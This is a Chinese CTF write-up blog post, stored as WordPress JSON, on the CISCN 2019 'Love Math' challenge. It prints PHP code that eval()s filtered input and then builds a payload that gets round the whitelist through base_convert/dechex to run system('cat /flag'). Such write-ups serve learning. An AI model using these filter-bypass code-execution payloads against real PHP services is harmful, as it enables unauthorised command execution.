{"id":187,"date":"2022-03-18T21:22:00","date_gmt":"2022-03-18T13:22:00","guid":{"rendered":"https:\/\/fushuling.com\/?p=187"},"modified":"2023-04-13T00:32:45","modified_gmt":"2023-04-12T16:32:45","slug":"187","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2022\/03\/18\/187\/","title":{"rendered":"[CISCN 2019 \u521d\u8d5b]Love Math"},"content":{"rendered":"\n

\u8fd9\u9898\u628a\u7237\u770b\u61f5\u4e86\uff0c\u770b\u4e86\u534a\u5929wp\u624d\u641e\u61c2\uff0c\u679c\u7136web\u6c34\u5e73\u8fd8\u662f\u592a\u4f4e\u4e86\/(\u3112o\u3112)\/~~<\/p>\n\n\n\n

\u9996\u5148\u6253\u5f00\u7f51\u9875\uff0c\u76f4\u63a5\u5c31\u628a\u6e90\u7801\u7ed9\u4f60\u4e86\uff0c\u7b80\u5355\u5206\u6790\u4e00\u4e0b\u3002<\/p>\n\n\n\n

 <?php\nerror_reporting(0);\n\/\/\u542c\u8bf4\u4f60\u5f88\u559c\u6b22\u6570\u5b66\uff0c\u4e0d\u77e5\u9053\u4f60\u662f\u5426\u7231\u5b83\u80dc\u8fc7\u7231flag\nif(!isset($_GET['c'])){\n    show_source(__FILE__);\n}else{\n    \/\/\u4f8b\u5b50 c=20-1\n    $content = $_GET['c'];\n    if (strlen($content) >= 80) {\n        die(\"\u592a\u957f\u4e86\u4e0d\u4f1a\u7b97\");\n    }\n    $blacklist = [' ', '\\t', '\\r', '\\n','\\'', '\"', '`', '\\[', '\\]'];\/\/\u9ed1\u540d\u5355\n    foreach ($blacklist as $blackitem) {\/\/\u68c0\u9a8c\u6709\u65e0\u9ed1\u540d\u5355\u91cc\u7684\u4e1c\u897f\n        if (preg_match('\/' . $blackitem . '\/m', $content)) {\n            die(\"\u8bf7\u4e0d\u8981\u8f93\u5165\u5947\u5947\u602a\u602a\u7684\u5b57\u7b26\");\n        }\n    }\n    \/\/\u5e38\u7528\u6570\u5b66\u51fd\u6570http:\/\/www.w3school.com.cn\/php\/php_ref_math.asp\n    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];\n    preg_match_all('\/[a-zA-Z_\\x7f-\\xff][a-zA-Z_0-9\\x7f-\\xff]*\/', $content, $used_funcs);  \n    foreach ($used_funcs[0] as $func) {\n        if (!in_array($func, $whitelist)) {\n            die(\"\u8bf7\u4e0d\u8981\u8f93\u5165\u5947\u5947\u602a\u602a\u7684\u51fd\u6570\");\n        }\n    }\n    \/\/\u5e2e\u4f60\u7b97\u51fa\u7b54\u6848\n    eval('echo '.$content.';');\/\/\u76f4\u63a5\u6267\u884c\u5b57\u7b26\u4e32\n}\n<\/code><\/pre>\n\n\n\n
\u9996\u5148\u770b\u5230eval()\u5927\u5bb6\u5c31\u90fd\u61c2\u4e86\uff0c\u76f4\u63a5\u6267\u884c\u51fd\u6570\uff0c\u6211\u4eec\u5e73\u65f6\u5199\u4e00\u53e5\u8bdd\u6728\u9a6c\u7ecf\u5e38\u7528\u5230\u8fd9\u4e2a\u4e1c\u897f\uff0c\u6240\u4ee5\u53ea\u8981\u60f3\u4e2a\u529e\u6cd5\u628ac\u53d8\u6210system(\u2018cat \/flag\u2019)\u4e4b\u7c7b\u7684\u5b57\u7b26\u4e32\uff0c\u8fd9\u6837eval\u4e00\u6267\u884c\u6211\u4eec\u5c31\u53ef\u4ee5\u6109\u6109\u5feb\u5feb\u7684\u62ffflag\uff0c\u90a3\u4e48\u73b0\u5728\u95ee\u9898\u6765\u4e86\uff0c\u600e\u4e48\u628a\u90a3\u73a9\u610f\u513f\u6784\u9020\u51fa\u6765\u5462\u3002\u6211\u4eec\u77e5\u9053\u8fd9\u4e2a\u4ee3\u7801\u91cc\u4e0d\u4f46\u6709\u767d\u540d\u5355\u800c\u4e14\u8fd8\u6709\u9ed1\u540d\u5355\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u80fd\u60f3\u529e\u6cd5\u7528\u767d\u540d\u5355\u91cc\u7684\u4e1c\u897f\u628a\u5b83\u6574\u51fa\u6765\u3002\u6211\u4eec\u77e5\u9053php\u662f\u53ef\u4ee5\u76f4\u63a5\u66ff\u4ee3\u7684\uff0c\u5982\u679c\u4f60\u4ee4$a=cat,\u90a3\u4e48$a flag\u4e5f\u662f\u53ef\u4ee5\u76f4\u63a5\u627e\u5230flag\u7684\uff0c\u6240\u4ee5\u5148\u4e00\u6b65\u4e00\u6b65\u6765\u5427\uff0c\u6709\u4e2a\u5927\u81f4\u601d\u8def\uff0c\u600e\u4e48\u628a\u5b83\u5f04\u51fa\u6765\uff1a<\/p>\n\n\n\n
?c=($_GET[a])($_GET[b])&a=system&b=cat \/flag\/\/\u540e\u9762\u4e24\u4e2a\u662f\u4f20\u53c2,\u9898\u76ee\u628a\u4e1c\u897f\u90fd\u8fc7\u6ee4\u7684\u5dee\u4e0d\u591a\u4e86\uff0c\u53ea\u6709\u6570\u5b57\uff0c\u4e0d\u53ef\u80fd\u6709\u5b57\u6bcd\uff0c\u6240\u4ee5\u7528$_GET\u4f20\u53c2\u7c7b\u4f3c\u4e8e\u4e0a\u6587\u7684$a=cat\u3002\u4f46\u662f\u8fd9\u91cc\u628a[]\u8fc7\u6ee4\u4e86\uff0c\u53ef\u4ee5\u7528{}\u4ee3\u66ff<\/code><\/pre>\n\n\n\n
\u90a3\u73b0\u5728\u95ee\u9898\u6765\uff0c\u600e\u4e48\u628a\u5b57\u6bcd\u6574\u51fa\u6765\u5462?<\/p>\n\n\n\n
base_convert()\t\u5728\u4efb\u610f\u8fdb\u5236\u4e4b\u95f4\u8f6c\u6362\u6570\u5b57\u3002\ndechex()\t\u628a\u5341\u8fdb\u5236\u8f6c\u6362\u4e3a\u5341\u516d\u8fdb\u5236\nhex2bin()       \u5c06\u5341\u516d\u8fdb\u5236\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\/\/\u4e0d\u8fc7\u8fd9\u51fd\u6570\u4e0d\u5728\u767d\u540d\u5355\u5185\uff0c\u5f97\u6211\u4eec\u81ea\u5df1\u6784\u9020<\/code><\/pre>\n\n\n\n
base_convert(37907361743,10,36) => \"hex2bin\"\nhex2bin(\"5f474554\") => \"_GET\"\/\/\u4e0d\u80fd\u6709\u5b57\u6bcd\uff0c\u8fd8\u662f\u4e0d\u884c\ndechex(1598506324) => \"5f474554\"\n$pi=base_convert(37907361743,10,36)(dechex(1598506324))\/\/\u5373$pi=\"_GET\"\n?c=($$pi{pi})($$pi{abs})&pi=system&abs=cat\/flag\/\/\u5373?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat\/flag(\u8fd9\u91ccpi\u548cabs\u662f\u6ca1\u88ab\u8fc7\u6ee4\u7684\u51fd\u6570\uff0c\u6211\u4eec\u5f53\u53d8\u91cf\u4e86)<\/code><\/pre>\n\n\n\n
\u7ecf\u8fc7\u7ec4\u5408,payload\u5373<\/p>\n\n\n\n
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{abs})&pi=system&abs=cat \/flag<\/code><\/pre>\n\n\n\n
\u8d62!\ud83d\ude18\ud83d\ude18<\/p>\n\n\n\n
\/\/\u6628\u5929\u505a\u8fd9\u4e2a\u9898\u4e0d\u4f1a\uff0c\u95ee\u4e86\u5b66\u957f\uff0c\u5b66\u957f\u6e29\u548c\u7684\u89e3\u60d1\u4e86\u6211\u4e0d\u4f1a\u7684\u90e8\u5206\uff0c\u5e76\u4e14\u544a\u8bc9\u6211\uff1a\u4e3a\u4e86\u5609\u7136\u5c0f\u59d0\uff0c\u4e00\u5b9a\u8981\u6210\u4e3a\u6709\u7528\u7684\u4eba\uff01\u4ed6\u771f\u7684\u3002\u3002\u3002\u6211\u54ed\u6b7b\ud83d\ude2d\ud83d\ude2d\uff0c\u4e3a\u4e86\u7136\u7136\uff0c\u6211\u4e00\u5b9a\u8981\u597d\u597d\u5b66web!!!!<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f88\u4e45\u4e4b\u540e\u3002\u3002\u3002<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
To be continued~~<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"
\u8fd9\u9898\u628a\u7237\u770b\u61f5\u4e86\uff0c\u770b\u4e86\u534a\u5929wp\u624d\u641e\u61c2\uff0c\u679c\u7136web\u6c34\u5e73\u8fd8\u662f\u592a\u4f4e\u4e86\/(\u3112o\u3112)\/~~ \u9996\u5148\u6253\u5f00\u7f51\u9875\uff0c\u76f4\u63a5\u5c31\u628a\u6e90\u7801\u7ed9\u4f60 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-187","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/187","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=187"}],"version-history":[{"count":6,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/187\/revisions"}],"predecessor-version":[{"id":1508,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/187\/revisions\/1508"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=187"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}